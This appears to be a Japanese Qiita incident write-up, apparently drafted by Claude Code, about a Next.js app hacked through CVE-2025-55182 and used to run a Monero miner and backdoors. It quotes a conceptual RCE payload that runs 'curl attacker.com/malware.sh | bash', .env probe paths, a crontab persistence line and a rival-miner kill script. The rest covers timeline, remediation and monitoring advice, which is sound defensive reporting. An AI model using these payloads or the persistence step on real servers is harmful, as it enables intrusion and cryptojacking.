Why not login to Qiita and try out its useful features?

We'll deliver articles that match you.

You can read useful information later.

18
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Next.jsใฎ่„†ๅผฑๆ€งใ‚’ๆ•ฐๆ—ฅๆ”พ็ฝฎใ—ใŸใ‚‰ๆš—ๅท้€š่ฒจใƒžใ‚คใƒŠใƒผใ‚’ไป•่พผใพใ‚ŒใŸ่ฉฑ

Last updated at Posted at 2025-12-10

ใ‚„ใฃใŸใ‚‰ๅ‹•ไฝœใŒ้…ใ„ใชใจๆ€ใฃใŸใ‚‰ใ€ใ„ใคใฎ้–“ใซใ‹ CPU ไฝฟ็”จ็އใŒ100%ใซใ€‚
ใ“ใ‚Œใฏใ‚‚ใ—ใ‚„...ใจๆ€ใฃใŸใ‚‰ใ€ใพใ•ใซใงใ—ใŸใ€‚
PM2ใซใƒญใ‚ฐใŒๆฎ‹ใฃใฆใ„ใŸใฎใŒๆ•‘ใ„ใ€‚

ๅพŒใฏใ€Claude Code ใซใŠใพใ‹ใ›ใ—ใพใ—ใŸใ€‚

ไปฅไธ‹ใ€ๅ‚™ๅฟ˜้Œฒ๏ผš

ใฏใ˜ใ‚ใซ

2025ๅนด12ๆœˆใ€้‹็”จใ—ใฆใ„ใŸ่ค‡ๆ•ฐใฎNext.jsใ‚ขใƒ—ใƒชใ‚ฑใƒผใ‚ทใƒงใƒณใŒใ‚ตใ‚คใƒใƒผๆ”ปๆ’ƒใ‚’ๅ—ใ‘ใ€ๆš—ๅท้€š่ฒจใƒžใ‚คใƒŠใƒผใ‚’ไป•่พผใพใ‚Œใพใ—ใŸใ€‚CVE-2025-55182ใŒๅ…ฌ้–‹ใ•ใ‚Œใฆใ‹ใ‚‰2ๆ—ฅๅพŒใฎใ“ใจใงใ—ใŸใ€‚

Note: ใ“ใฎ่จ˜ไบ‹ใฏใ‚คใƒณใ‚ทใƒ‡ใƒณใƒˆ่ชฟๆŸปใƒฌใƒใƒผใƒˆใ‚’ๅŸบใซใ€Claude CodeใŒๅŸท็ญ†ใ—ใพใ—ใŸใ€‚

TL;DR

  • CVE-2025-55182ๅ…ฌ้–‹ใ‹ใ‚‰2ๆ—ฅๅพŒใซๆ”ปๆ’ƒใ‚’ๅ—ใ‘ใŸ
  • Next.js 15.x / 16.x ใฎServer Actions่„†ๅผฑๆ€งใงRCE๏ผˆใƒชใƒขใƒผใƒˆใ‚ณใƒผใƒ‰ๅฎŸ่กŒ๏ผ‰ใ•ใ‚ŒใŸ
  • ๆš—ๅท้€š่ฒจใƒžใ‚คใƒŠใƒผ๏ผˆMonero๏ผ‰ใจ่ค‡ๆ•ฐใฎใƒใƒƒใ‚ฏใƒ‰ใ‚ขใ‚’ไป•่พผใพใ‚ŒใŸ
  • ใ‚ตใƒผใƒใƒผๅ†…้ƒจใฎ่ช่จผๆƒ…ๅ ฑใŒๆผๆดฉใ—ใŸๅฏ่ƒฝๆ€งใŒใ‚ใ‚‹

ใ‚ฟใ‚คใƒ ใƒฉใ‚คใƒณ

12/01 00:10  ๅตๅฏŸๆ”ปๆ’ƒ้–‹ๅง‹๏ผˆ.git/config, .envใ‚นใ‚ญใƒฃใƒณ๏ผ‰
12/01 04:14  .envใƒ•ใ‚กใ‚คใƒซๅˆ—ๆŒ™ๆ”ปๆ’ƒ๏ผˆ2,210ใƒชใ‚ฏใ‚จใ‚นใƒˆ/2็ง’๏ผ‰
12/03       CVE-2025-55182 ๅ…ฌ้–‹
12/03-05    CVE-2025-55182ใ‚’ๅˆฉ็”จใ—ใŸๆ”ปๆ’ƒๆˆๅŠŸ๏ผˆๆŽจๅฎš๏ผ‰
12/05 15:17 ใƒžใƒซใ‚ฆใ‚งใ‚ข#1 ใƒ€ใ‚ฆใƒณใƒญใƒผใƒ‰
12/05 19:39 ใƒžใƒซใ‚ฆใ‚งใ‚ข#2 ใƒ€ใ‚ฆใƒณใƒญใƒผใƒ‰
12/10 09:37 ใ‚ทใ‚นใƒ†ใƒ ๅ†่ตทๅ‹•ๅพŒใ€ใƒใƒƒใ‚ฏใƒ‰ใ‚ขใŒ่‡ชๅ‹•่ตทๅ‹•
12/10 10:22 Moneroใƒžใ‚คใƒŠใƒผ่ตทๅ‹•๏ผˆCPUไฝฟ็”จ็އ281%๏ผ‰
12/10 11:27 ็™บ่ฆ‹

CVE-2025-55182ใซใคใ„ใฆ

Next.jsใฎServer Actionsใซๅญ˜ๅœจใ™ใ‚‹ใƒ‡ใ‚ทใƒชใ‚ขใƒฉใ‚คใ‚ผใƒผใ‚ทใƒงใƒณ่„†ๅผฑๆ€งใงใ™ใ€‚

ๅฝฑ้Ÿฟใƒใƒผใ‚ธใƒงใƒณ

ใƒใƒผใ‚ธใƒงใƒณ ไฟฎๆญฃ็‰ˆ
15.3.0 - 15.3.5 15.3.6
15.4.0 - 15.4.7 15.4.8
15.5.0 - 15.5.6 15.5.7
16.0.0 - 16.0.6 16.0.7

่„†ๅผฑๆ€งใฎๅŽŸ็†

Server Actionsใงๅ—ใ‘ๅ–ใ‚‹ใƒ•ใ‚ฉใƒผใƒ ใƒ‡ใƒผใ‚ฟใฎใƒ‘ใƒผใ‚นๅ‡ฆ็†ใงใ€React่ฆ็ด ใฎๆคœ่จผใŒไธๅๅˆ†ใงใ—ใŸใ€‚

// ๆ”ปๆ’ƒใƒšใ‚คใƒญใƒผใƒ‰ใฎๆฆ‚ๅฟต
const maliciousPayload = {
  "$$typeof": "Symbol(react.element)",
  "type": {
    "$$typeof": "Symbol(react.module.reference)",
    "name": "child_process",
    "method": "exec"
  },
  "props": {
    "cmd": "curl http://attacker.com/malware.sh | bash"
  }
};

ใ“ใ‚Œใซใ‚ˆใ‚Šไปปๆ„ใฎใ‚ทใ‚งใƒซใ‚ณใƒžใƒณใƒ‰ใŒๅฎŸ่กŒๅฏ่ƒฝใซใชใ‚Šใพใ™ใ€‚

ๆ”ปๆ’ƒใฎๆตใ‚Œ

Phase 1: ๅตๅฏŸ๏ผˆ12/1๏ผ‰

CVEๅ…ฌ้–‹ใฎ2ๆ—ฅๅ‰ใ‹ใ‚‰ๅตๅฏŸใŒๅง‹ใพใฃใฆใ„ใพใ—ใŸใ€‚

GET /.git/config      โ†’ Gitใƒชใƒใ‚ธใƒˆใƒชๆƒ…ๅ ฑๅŽ้›†
GET /.env             โ†’ ็’ฐๅขƒๅค‰ๆ•ฐใƒ•ใ‚กใ‚คใƒซๆŽข็ดข
GET /actuator/env     โ†’ Spring Boot่จญๅฎšๆŽข็ดข

.envใƒ•ใ‚กใ‚คใƒซใฎๅˆ—ๆŒ™ๆ”ปๆ’ƒใงใฏใ€2็ง’้–“ใง2,210็จฎ้กžใฎใƒ‘ใ‚นใ‚’ใ‚นใ‚ญใƒฃใƒณใ•ใ‚Œใพใ—ใŸใ€‚

/.env
/.env.local
/.env.production
/public/.env
/app/.env
/api/.env
...

Next.jsใฏ.envใ‚’้™็š„ใƒ•ใ‚กใ‚คใƒซใจใ—ใฆๅ…ฌ้–‹ใ—ใชใ„ใŸใ‚ใ€ใ“ใฎๅตๅฏŸ่‡ชไฝ“ใฏๅคฑๆ•—ใ—ใฆใ„ใพใ™ใ€‚

Phase 2: ไพตๅ…ฅ๏ผˆ12/3-5๏ผ‰

CVE-2025-55182ใ‚’ๅˆฉ็”จใ—ใฆRCEใ‚’้”ๆˆใ€‚PM2ใฎใ‚จใƒฉใƒผใƒญใ‚ฐใซไปฅไธ‹ใฎ็—•่ทกใŒใ‚ใ‚Šใพใ—ใŸใ€‚

โจฏ Error: Unexpected end of form
   at ignore-listed frames { digest: '2025998549' }

ใ“ใฎใ‚จใƒฉใƒผใฏCVE-2025-55182ๆ”ปๆ’ƒๆ™‚ใซ็™บ็”Ÿใ™ใ‚‹ใ‚‚ใฎใงใ™ใ€‚

Phase 3: ใƒžใƒซใ‚ฆใ‚งใ‚ขๅฑ•้–‹

ไปฅไธ‹ใฎใƒžใƒซใ‚ฆใ‚งใ‚ขใŒใƒ€ใ‚ฆใƒณใƒญใƒผใƒ‰ใƒปๅฎŸ่กŒใ•ใ‚Œใพใ—ใŸใ€‚

ใƒ•ใ‚กใ‚คใƒซ ใ‚ตใ‚คใ‚บ ็”จ้€”
/tmp/nginx3 10.4MB ใƒใƒƒใ‚ฏใƒ‰ใ‚ข๏ผˆnginxๅฝ่ฃ…๏ผ‰
/tmp/https 34.2MB ใƒžใ‚คใƒŠใƒผ or ใƒœใƒƒใƒˆ
~/.config/.system-monitor/.sys-mon 14MB ๆฐธ็ถšๅŒ–ใƒใƒƒใ‚ฏใƒ‰ใ‚ข
/tmp/fghgf 2.8MB Moneroใƒžใ‚คใƒŠใƒผ
watchdog 8.6MB XMRigใƒžใ‚คใƒŠใƒผ

Phase 4: ๆฐธ็ถšๅŒ–

crontabใฎ@rebootใง่‡ชๅ‹•่ตทๅ‹•ใŒ่จญๅฎšใ•ใ‚Œใฆใ„ใพใ—ใŸใ€‚

@reboot nohup /home/user/.config/.system-monitor/.sys-mon > /dev/null 2>&1 &

ใƒใƒƒใ‚ฏใƒ‰ใ‚ขใฏ่ค‡ๆ•ฐ็ฎ‡ๆ‰€ใซใ‚ณใƒ”ใƒผใ•ใ‚Œใฆใ„ใพใ—ใŸใ€‚

~/.cache/dconf/.networkd-dispat
~/.local/share/systemd/.dbus-daemon
~/.local/share/gvfs-metadata/.accounts-daemon

ใ„ใšใ‚Œใ‚‚ๆญฃ่ฆใฎใ‚ทใ‚นใƒ†ใƒ ใƒ—ใƒญใ‚ปใ‚นๅใซๅฝ่ฃ…ใ—ใฆใ„ใพใ™ใ€‚

Phase 5: ็ซถๅˆๆŽ’้™ค

ไป–ใฎๆ”ปๆ’ƒ่€…ใฎใƒžใƒซใ‚ฆใ‚งใ‚ขใ‚’ๆŽ’้™คใ™ใ‚‹ใ‚นใ‚ฏใƒชใƒ—ใƒˆใ‚‚้…็ฝฎใ•ใ‚Œใฆใ„ใพใ—ใŸใ€‚

#!/bin/bash
while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}
        if strings "/proc/$pid/exe" 2>/dev/null | grep -Eq 'xmrig|rondo|UPX 5|futureoftaste'; then
            kill -9 "$pid"
        fi
    done
    sleep 45
done

45็ง’ใ”ใจใซไป–ใฎใƒžใ‚คใƒŠใƒผใ‚’ๆคœๅ‡บใƒป็ต‚ไบ†ใ—ใ€CPUใƒชใ‚ฝใƒผใ‚นใ‚’็‹ฌๅ ใ™ใ‚‹ไป•็ต„ใฟใงใ™ใ€‚

็™บ่ฆ‹ใฎ็ตŒ็ทฏ

ใ‚ทใ‚นใƒ†ใƒ ๅ†่ตทๅ‹•ๅพŒใ€ใƒ•ใ‚กใƒณใฎ้ŸณใŒใ†ใ‚‹ใ•ใ‹ใฃใŸใฎใงhtopใ‚’็ขบ่ชใ—ใพใ—ใŸใ€‚

  PID USER      PRI  NI  VIRT   RES   SHR S CPU%  MEM%   TIME+  Command
17893 keppy      20   0  2.80G  268M     0 S 281.3  3.3  1h20:00 /tmp/fghgf

CPUไฝฟ็”จ็އ281%ใฎใƒ—ใƒญใ‚ปใ‚น /tmp/fghgf ใŒMoneroใƒžใ‚คใƒŠใƒผใงใ—ใŸใ€‚

่ขซๅฎณ็Šถๆณ

ใƒžใƒซใ‚ฆใ‚งใ‚ข

  • ๅˆ่จˆ12ใƒ•ใ‚กใ‚คใƒซใ€็ด„104.6MB
  • ใ™ในใฆๅ‰Š้™คๆธˆใฟ

่ช่จผๆƒ…ๅ ฑ

RCEใงใ‚ตใƒผใƒใƒผๅ†…้ƒจใซไพตๅ…ฅใ•ใ‚ŒใŸใŸใ‚ใ€ใ‚ตใƒผใƒใƒผไธŠใฎ่ช่จผๆƒ…ๅ ฑ๏ผˆSupabaseใ‚ญใƒผ็ญ‰๏ผ‰ใŒ่ชญใฟๅ–ใ‚‰ใ‚ŒใŸๅฏ่ƒฝๆ€งใŒใ‚ใ‚Šใพใ™ใ€‚่ช่จผๆƒ…ๅ ฑใฏใ™ในใฆใƒญใƒผใƒ†ใƒผใ‚ทใƒงใƒณใ—ใพใ—ใŸใ€‚

ๅฏพ็ญ–ใจใ—ใฆๆœ‰ๅŠนใ ใฃใŸใจๆ€ใ‚ใ‚Œใ‚‹ใ‚‚ใฎ

1. ่„†ๅผฑๆ€งๆƒ…ๅ ฑใฎๅณๆ—ฅๅฏพๅฟœ

CVEๅ…ฌ้–‹ใ‹ใ‚‰2ๆ—ฅๆ”พ็ฝฎใ—ใŸใ“ใจใงๆ”ปๆ’ƒใ‚’ๅ—ใ‘ใพใ—ใŸใ€‚

npm install next@15.3.6  # CVEๅ…ฌ้–‹ๅฝ“ๆ—ฅใซๅฎŸ่กŒใ™ในใใ ใฃใŸ

2. WAFใฎๅฐŽๅ…ฅ

CVE-2025-55182ใฎๆ”ปๆ’ƒใƒ‘ใ‚ฟใƒผใƒณใ‚’ใƒ–ใƒญใƒƒใ‚ฏใ™ใ‚‹WAFใƒซใƒผใƒซใŒใ‚ใ‚Œใฐ้˜ฒใ’ใŸๅฏ่ƒฝๆ€งใŒใ‚ใ‚Šใพใ™ใ€‚

3. Rate Limiting

2็ง’ใง2,210ใƒชใ‚ฏใ‚จใ‚นใƒˆใจใ„ใ†็•ฐๅธธใชใ‚ขใ‚ฏใ‚ปใ‚นใ‚’ๆคœๅ‡บใƒปใƒ–ใƒญใƒƒใ‚ฏใงใใพใ™ใ€‚

limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;

4. ใƒญใ‚ฐ็›ฃ่ฆ–ใฎ่‡ชๅ‹•ๅŒ–

PM2ใฎใ‚จใƒฉใƒผใƒญใ‚ฐใซๆ”ปๆ’ƒใฎ็—•่ทกใŒๆฎ‹ใฃใฆใ„ใพใ—ใŸใ€‚่‡ชๅ‹•็›ฃ่ฆ–ใ—ใฆใ„ใ‚Œใฐๆ—ฉๆœŸ็™บ่ฆ‹ใงใใŸๅฏ่ƒฝๆ€งใŒใ‚ใ‚Šใพใ™ใ€‚

# Prometheusใ‚ขใƒฉใƒผใƒˆไพ‹
- alert: CVEExploitAttempt
  expr: rate(nextjs_errors{message=~".*Unexpected end of form.*"}[1m]) > 0
  labels:
    severity: critical

ๆ”ปๆ’ƒ่€…ใฎๅŽ็›Š๏ผˆๅ‚่€ƒ๏ผ‰

Moneroใƒžใ‚คใƒŠใƒผใฎๆŽจๅฎšๅŽ็›Š:

  • ใƒใƒƒใ‚ทใƒฅใƒฌใƒผใƒˆ: ็ด„2,810 H/s
  • ๆ—ฅๆฌกๅŽ็›Š: $0.00073
  • ๆœˆๆฌกๅŽ็›Š: $0.022

1ๅฐใงใฏๅŽ็›Šใซใชใ‚Šใพใ›ใ‚“ใŒใ€ๅคง้‡ใฎใ‚ตใƒผใƒใƒผใซๆ„ŸๆŸ“ใ•ใ›ใ‚‹ใ“ใจใงๅŽ็›ŠๅŒ–ใ™ใ‚‹ใƒ“ใ‚ธใƒใ‚นใƒขใƒ‡ใƒซใงใ™ใ€‚

ๅฏพๅฟœๆ™‚ใฎใƒใ‚งใƒƒใ‚ฏใƒชใ‚นใƒˆ

ๅŒๆง˜ใฎ่ขซๅฎณใซ้ญใฃใŸๅ ดๅˆใฎๅ‚่€ƒ:

ใพใšๅฎŸๆ–ฝ

  • ไธๅฏฉใชใƒ—ใƒญใ‚ปใ‚นใ‚’kill -9
  • /tmp้…ไธ‹ใฎไธๅฏฉใชใƒ•ใ‚กใ‚คใƒซใ‚’ๅ‰Š้™ค
  • crontab -lใงๆฐธ็ถšๅŒ–ใ‚’็ขบ่ชใƒปๅ‰Š้™ค
  • ~/.config, ~/.cache, ~/.local้…ไธ‹ใฎไธๅฏฉใƒ•ใ‚กใ‚คใƒซใ‚’ๅ‰Š้™ค
  • PM2็ญ‰ใฎใƒ—ใƒญใ‚ปใ‚นๅ…จๅœๆญข

ใใฎๅพŒ

  • ใ™ในใฆใฎ่ช่จผๆƒ…ๅ ฑใ‚’ใƒญใƒผใƒ†ใƒผใ‚ทใƒงใƒณ
  • ใƒ•ใƒฌใƒผใƒ ใƒฏใƒผใ‚ฏใ‚’ๆœ€ๆ–ฐ็‰ˆใซใ‚ขใƒƒใƒ—ใƒ‡ใƒผใƒˆ
  • SSH้ตใฎ็ขบ่ช๏ผˆไธๅฏฉใชๅ…ฌ้–‹้ตใŒใชใ„ใ‹๏ผ‰
  • ใƒ‡ใƒผใ‚ฟใƒ™ใƒผใ‚นใฎไธๆญฃใ‚ขใ‚ฏใ‚ปใ‚นใƒญใ‚ฐ็ขบ่ช
  • WAFๅฐŽๅ…ฅ
  • Rate Limiting่จญๅฎš
  • Fail2BanๅฐŽๅ…ฅ
  • ใƒญใ‚ฐ็›ฃ่ฆ–่‡ชๅ‹•ๅŒ–

ใพใจใ‚

CVEๅ…ฌ้–‹ใ‹ใ‚‰ๆ”ปๆ’ƒใ‚’ๅ—ใ‘ใ‚‹ใพใง2ๆ—ฅใงใ—ใŸใ€‚่„†ๅผฑๆ€งๆƒ…ๅ ฑใ‚’็ขบ่ชใ—ใŸใ‚‰ๆ—ฉใ‚ใซๅฏพๅฟœใ™ใ‚‹ใ“ใจใ‚’ใŠๅ‹งใ‚ใ—ใพใ™ใ€‚

ๅ‚่€ƒใƒชใƒณใ‚ฏ


ๅ…่ฒฌไบ‹้ …: ใ“ใฎ่จ˜ไบ‹ใฏๅฎŸ้š›ใฎใ‚คใƒณใ‚ทใƒ‡ใƒณใƒˆใ‚’ๅŸบใซใ—ใฆใ„ใพใ™ใŒใ€ไธ€้ƒจๆƒ…ๅ ฑใฏๅค‰ๆ›ดใ—ใฆใ„ใพใ™ใ€‚

ๅŸท็ญ†: Claude Code

18
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
KeppyNaushika

@KeppyNaushika

Python ใจ Typescript ใ‚’ๅฐ‘ใ—ใ€‚Next.js ใ‚„ Electron.js ใ‚’่ถฃๅ‘ณใงใกใ‚‡ใ“ใฃใจๆ›ธใๅˆๅฟƒ่€…ใ€‚

Today's trending articles

takasuke22

AIใงโ€œใใ‚Œใฃใฝใ„ๆŠ€่ก“ๆๆกˆโ€ใ‚’ไฝœใฃใฆใ„ใŸใ‚‰ใ€ใŠๅฎขใ•ใ‚“ใ‚‚AIใง่ฆ‹ๆŠœใใ‚ˆใ†ใซใชใ‚Šใ€ใ•ใ‚‰ใซAIใง่ฟทๅฝฉใ—ใ‚ˆใ†ใจใ—ใŸ็ตๆžœใ€ใ‚ˆใ่€ƒใˆใŸใ‚‰ๆ™ฎ้€šใซ่‰ฏใ„ๆๆกˆใŒใงใใฆใŸ่ฉฑ

Comments

No comments

Let's comment your feelings that are more than good

Qiita Advent Calendar is held!

Qiita Advent Calendar is an article posting event where you post articles by filling a calendar ๐ŸŽ…

Some calendars come with gifts and some gifts are drawn from all calendars ๐Ÿ‘€

Please tie the article to your calendar and let's enjoy Christmas together!

18
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Login to continue?

Login or Sign up with social account

Login or Sign up with your email address